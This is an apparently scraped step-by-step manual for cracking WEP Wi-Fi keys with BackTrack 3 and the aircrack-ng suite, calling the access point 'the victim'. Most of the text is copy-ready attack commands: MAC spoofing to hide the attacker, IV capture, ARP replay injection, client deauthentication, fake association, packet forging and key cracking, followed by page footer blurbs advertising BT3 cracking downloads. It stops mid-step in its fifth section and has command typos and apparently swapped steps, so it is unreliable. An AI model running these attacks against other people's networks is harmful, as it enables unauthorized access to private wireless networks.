BT3 Crack WEP WPA Manual
0. Make bootable USB
Format USB to fat32 under windows system.
Mount bt3-usb.iso.
Copy boot and BT3 folders into USB.
Run boot/bootinst.bat
OK.
|
Login into BT3 system (KDE)
Use: root
Pwd: toor
OK? Try this.
#startx
OK? Try this again.
#xconfig
#startx
|
Note
If the execution of the command not return immediately, just open a new shell to execute the next command.
Wireless Net Card WNC, yourself wireless net card.
Access Point AP, the victim.
1. CRACK OPEN WEP WITH VALID CLIENT ARP
Precondition
AP use WEP encrypting.
AP is Open model.
AP has valid client.
AP client can only generate valid ARP data.
Open the wireless switch of your laptop.
Step1. Unload iwl3945 driver for Intel3945 wireless net card driver(WNC).
#modprobe –r iwl3945
Step2. Load monitorable WNC driver for Intel3945. Different WNC has different loading procedure.
#modeprobe ipwraw
#airmon-ng
#modinfo ipwraw
Step3. Search AP. After you get the info (ESSID, MAC, Having client or not, Client MAC), you should Ctrl+C close the searching program.
#airodump-ng wifi0
Suppose we get a AP as following
|
AP MAC
|
00:00:00:00:00:00
|
|
AP ESSID
|
tenda
|
|
AP Channel
|
11
|
|
AP Client MAC
|
CC:CC:CC:CC:CC:CC
|
Step4. Optioal. For the safety, change yourself WNC MAC. As 11:11:11:11:11:11
#macchanger –m 11:11:11:11:11:11 wifi0
Step5. Activate the wifi0 and let it work on channel of AP.
#airmon-ng start wifi0 11
Optioal. Show wifi0 working model and wording channel
#iwconfi wifi0
Optioal. Test injection ability of yourself WNC.
#aireplay-ng -9 wifi0
Step6. Crack out the password of AP now.
#wesside-ng -i wifi0 –v 00:00:00:00:00:00
2. CRACK OPEN WEP WITH LOTS OF VALID CLIENT IVS DATA
Precondition
AP use WEP encrypting.
AP is Open model.
AP has valid client.
AP client can generate plenty of valid data.
We can get lots of ivs data from AP client.
Open the wireless switch of your laptop.
Step1. Unload iwl3945 driver for Intel3945 wireless net card driver(WNC).
#modprobe –r iwl3945
Step2. Load monitorable WNC driver for Intel3945. Different WNC has different loading procedure.
#modeprobe ipwraw
#airmon-ng
#modinfo ipwraw
Step3. Search AP. After you get the info (ESSID, MAC, Having client or not, Client MAC), you should Ctrl+C close the searching program.
#airodump-ng wifi0
Suppose we get a AP as following:
|
AP MAC
|
00:00:00:00:00:00
|
|
AP ESSID
|
tenda
|
|
AP Channel
|
11
|
|
AP Client MAC
|
CC:CC:CC:CC:CC:CC
|
Step4. For the safety, change yourself WNC MAC. As 11:11:11:11:11:11
#macchanger –m 11:11:11:11:11:11 wifi0
Step5. Activate the wifi0 and let it work on channel
#airmon-ng start wifi0 11
Show wifi0 working model and wording channel
#iwconfi wifi0
Test injection ability of yourself WNC.
#aireplay-ng -9 wifi0
Step6. Get ivs data file.-w <data file name> -c <channel>
#airodump-ng --ivs -w dumped_data -c 11 wifi0
Step7. Crack out the password of AP now.
#aircrack-ng -n 64 -b 00:00:00:00:00:00 dumped_data-01.ivs
3. CRACK OPEN WEP WITH LESS VALID CLIENT IVS DATA
Precondition
AP use WEP encrypting.
AP is Open model.
AP has valid client.
AP client can generate less valid ivs data.
Open the wireless switch of your laptop.
Step1. Unload iwl3945 driver for Intel3945 wireless net card driver(WNC).
#modprobe –r iwl3945
Step2. Load monitorable WNC driver for Intel3945. Different WNC has different loading procedure.
#modeprobe ipwraw
#airmon-ng
#modinfo ipwraw
Step3. Search AP. After you get the info (ESSID, MAC, Having client or not, Client MAC), you should Ctrl+C close the searching program.
#airodump-ng wifi0
Suppose we get a AP as following:
|
AP MAC
|
00:00:00:00:00:00
|
|
AP ESSID
|
tenda
|
|
AP Channel
|
11
|
|
AP Client MAC
|
CC:CC:CC:CC:CC:CC
|
Step4. For the safety, change yourself WNC MAC. As 11:11:11:11:11:11
#macchanger –m 11:11:11:11:11:11 wifi0
Step5. Activate the wifi0 and let it work on channel
#airmon-ng start wifi0 11
Show wifi0 working model and wording channel
#iwconfi wifi0
Test injection ability of yourself WNC.
#aireplay-ng -9 wifi0
Step6. Get ivs data file.-w <data file name> -c <channel>
#airodump-ng --ivs -w dumped_data -c 11 wifi0
Step7. Using ARP injection to get lots of ivs data. This step may take a long time to wait for ARP. You could use another PC or laptop to connect to the AP and supply a ARP packet.
#aireplay-ng -3 -b 00:00:00:00:00:00 -h CC:CC:CC:CC:CC:CC wifi0
Step8. Crack out the password of AP now.
#aircrack-ng -n 64 -b 00:00:00:00:00:00 dumped_data-01.ivs
4. CRACK OPEN WEP WITH VALID CLIENT BUT NO COMMUNICATION
Precondition
AP use WEP encrypting.
AP is Open model.
AP has valid client.
AP client do no communication to AP.
Open the wireless switch of your laptop.
Step1. Unload iwl3945 driver for Intel3945 wireless net card driver(WNC).
#modprobe –r iwl3945
Step2. Load monitorable WNC driver for Intel3945. Different WNC has different loading procedure.
#modeprobe ipwraw
#airmon-ng
#modinfo ipwraw
Step3. Search AP. After you get the info (ESSID, MAC, Having client or not, Client MAC), you should Ctrl+C close the searching program.
#airodump-ng wifi0
Suppose we get a AP as following:
|
AP MAC
|
00:00:00:00:00:00
|
|
AP ESSID
|
tenda
|
|
AP Channel
|
11
|
|
AP Client MAC
|
CC:CC:CC:CC:CC:CC
|
Step4. For the safety, change yourself WNC MAC. As 11:11:11:11:11:11
#macchanger –m 11:11:11:11:11:11 wifi0
Step5. Activate the wifi0 and let it work on channel
#airmon-ng start wifi0 11
Show wifi0 working model and wording channel
#iwconfi wifi0
Test injection ability of yourself WNC.
#aireplay-ng -9 wifi0
Step6. Get ivs data file.-w <data file name> -c <channel>
#airodump-ng --ivs -w dumped_data -c 11 wifi0
Step7. -0 force confliction model disconnect AP and AP client and let them reconnect.
#aireplay-ng -3 -b 00:00:00:00:00:00 -h CC:CC:CC:CC:CC:CC wifi0
Step8. Make use of reconnection data of Step7 to complete ARP injection.
#aireplay-ng -0 10 –a 00:00:00:00:00:00 -c CC:CC:CC:CC:CC:CC wifi0
5. CRACK OPEN WEP WITH OUT CLIENT
Precondition
AP use WEP encrypting.
AP is Open model.
AP has valid client.
AP client do no communication to AP.
Open the wireless switch of your laptop.
Step1. Unload iwl3945 driver for Intel3945 wireless net card driver(WNC).
#modprobe –r iwl3945
Step2. Load monitorable WNC driver for Intel3945. Different WNC has different loading procedure.
#modeprobe ipwraw
#airmon-ng
#modinfo ipwraw
Step3. Search AP. After you get the info (ESSID, MAC, Having client or not, Client MAC), you should Ctrl+C close the searching program.
#airodump-ng wifi0
Suppose we get a AP as following:
|
AP MAC
|
00:00:00:00:00:00
|
|
AP ESSID
|
tenda
|
|
AP Channel
|
11
|
|
AP Client MAC
|
CC:CC:CC:CC:CC:CC
|
Step4. For the safety, change yourself WNC MAC. As 11:11:11:11:11:11
#macchanger –m 11:11:11:11:11:11 wifi0
Step5. Activate the wifi0 and let it work on channel
#airmon-ng start wifi0 11
Show wifi0 working model and wording channel
#iwconfi wifi0
Test injection ability of yourself WNC.
#aireplay-ng -9 wifi0
Step6. Get ivs data file.-w <data file name> -c <channel>
#airodump-ng --ivs -w dumped_data -c 11 wifi0
Step7. For there is no AP client, We need to create a virtual connection to AP. So, make a association from your WNC to the AP now.
#aireplay-ng -1 0 -e tenda -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 wifi0
Failure Reason
AP has MAC filter.
Feeble signal from AP.
AP has WPA encryption.
Conflict between WNC and MAC. e.g. different working channel.
Try
Cancel the [–e tenda]parameter.
Set lower rate. E.g. #iwconfig wifi0 rate 2M
To confirm the virtual connection.
# tcpdump -n -e -s0 -vvv -i wifi0
There are three kind of methods to do future cracking work.
Case1
|
Step8. Using -2 attack model. it can do seizing data, extracting data and injecting data.
#aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:00:00:00:00:00 -h 11:11:11:11:11:11 wifi0
Enter [Y/y] for question “Use this packet ?” to launch the attack.
After get enough ivs data, you could use aircrack-ng to do crack.
Step9. Using aircrack-ng. AS #aircrack-ng -n 64 -b 00:00:00:00:00:00 dumped_data-01.ivs
#
|
Case2
|
Step8. Get xor file that contains valid password information. The generated xor file name is start with “fragment”.
#aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
Step9. Using xor file, create a fake ARP packet. –y xor_file –w fake_arp_file
#packetforge-ng -0 -a 00:00:00:00:00:00 -h 11:11:11:11:11:11 -k 255.255.255.255 –l 255.255.255.255 –y fragment-xxxx-xxxxxx.xor -w myarp
Step10. Using -2 attack model. –r fake_arp_file –x data_sent_rate, less than 1024
EN-U
分享到：
Global site tag (gtag.js) - Google Analytics
|
相关推荐
BT3各种版本ISO下载，破解无线路由的密码，需用一个u盘来破解
bt3汉化包heibai.net-bt4hh bt3汉化包heibai.net-bt4hh bt3汉化包heibai.net-bt4hh
虚拟机安装bt3教程，很好很详细，大家可以下载一下看看
bt3 字典文件 有助于bt3破解 但是自己做的字典更能容易破解无线网
虚拟机下安装使用BT3的知识点如下： 一、虚拟机的概念与优势 虚拟机（Virtual Machine）是一种软件，它能够模拟一个真实的计算机系统，允许用户在一个物理机上同时运行多个操作系统。使用虚拟机安装BT3（BackTrack ...
标题中的“BT3中文包仅11m12345”指的是BT3（BackTrack 3）的一个中文语言包，大小为11MB。BackTrack是一款基于Linux的开源网络安全分析工具，它集成了大量的安全和取证软件，方便网络安全专家进行渗透测试、漏洞...
能够从硬盘启动BT3能够从硬盘启动BT3能够从硬盘启动BT3
标题“从NTFS硬盘完美启动BT3优化终结版”指的是一个教程或工具包，它教你如何在不依赖U盘或光盘的情况下，直接从NTFS格式的硬盘启动BackTrack 3（简称BT3）——一个知名的Linux渗透测试发行版。这个优化终结版可能...
u盘启动bt3系统u盘启动bt3系统u盘启动bt3系统u盘启动bt3系统
BT3硬盘版制作
真的不耐bt3二分钟出密码bt3二分钟出密码bt3二分钟出密码
制作 U 盘版 BT3 需要一张 1G 以上的 U 盘、SD 卡或 TF 卡，建议将 U 盘格式化成 FAT32，以节省空间。下载 U 盘版 BT3 的 ISO 文件，网址为 http://cesium.di.uminho.pt/pub/backtrack/bt3final_usb.iso，文件大小约...
### VM虚拟机启动BT3教程知识点详述 #### 一、前言 本文将详细介绍如何在VMware虚拟机中启动BT3（BackTrack 3）操作系统。BT3是一款基于Linux的渗透测试工具集，广泛应用于安全评估和网络审计等领域。通过本教程，...
BT3破解教程 BT3破解教程 BT3破解教程
BT3网卡选择BT3网卡选择BT3网卡选择
BT3破解无线WEP和WPA傻瓜版教程+Bt3下载地址
标题“BT3U盘安装Ubuntu”指的是使用BT3（BackTrack 3）工具来通过U盘介质安装Ubuntu操作系统。BackTrack是一款著名的Linux发行版，专为渗透测试和网络安全审计而设计。在这里，我们讨论的是如何将Ubuntu安装到U盘上...
### BT3无线破解CMD命令详解 #### 一、概述 本文档旨在为初学者提供一套完整的使用BT3（BackTrack 3）进行无线路由器密码破解的过程，并附带具体实例，帮助读者快速掌握无线网络安全的基本操作和技术要点。 #### ...
运行bt3硬盘安装助手BT3R211_BK.exe，点击“开始安装”后，在新弹出的窗口中：“启动时间”无需改动，bt光盘位置点击右侧下拉按钮选择虚拟出来的光驱对应的盘符。“bt安装位置”选择D盘即可，其他盘也可以。设置好后...
BT3破解教程BT3破解教程BT3破解教程BT3破解教程BT3破解教程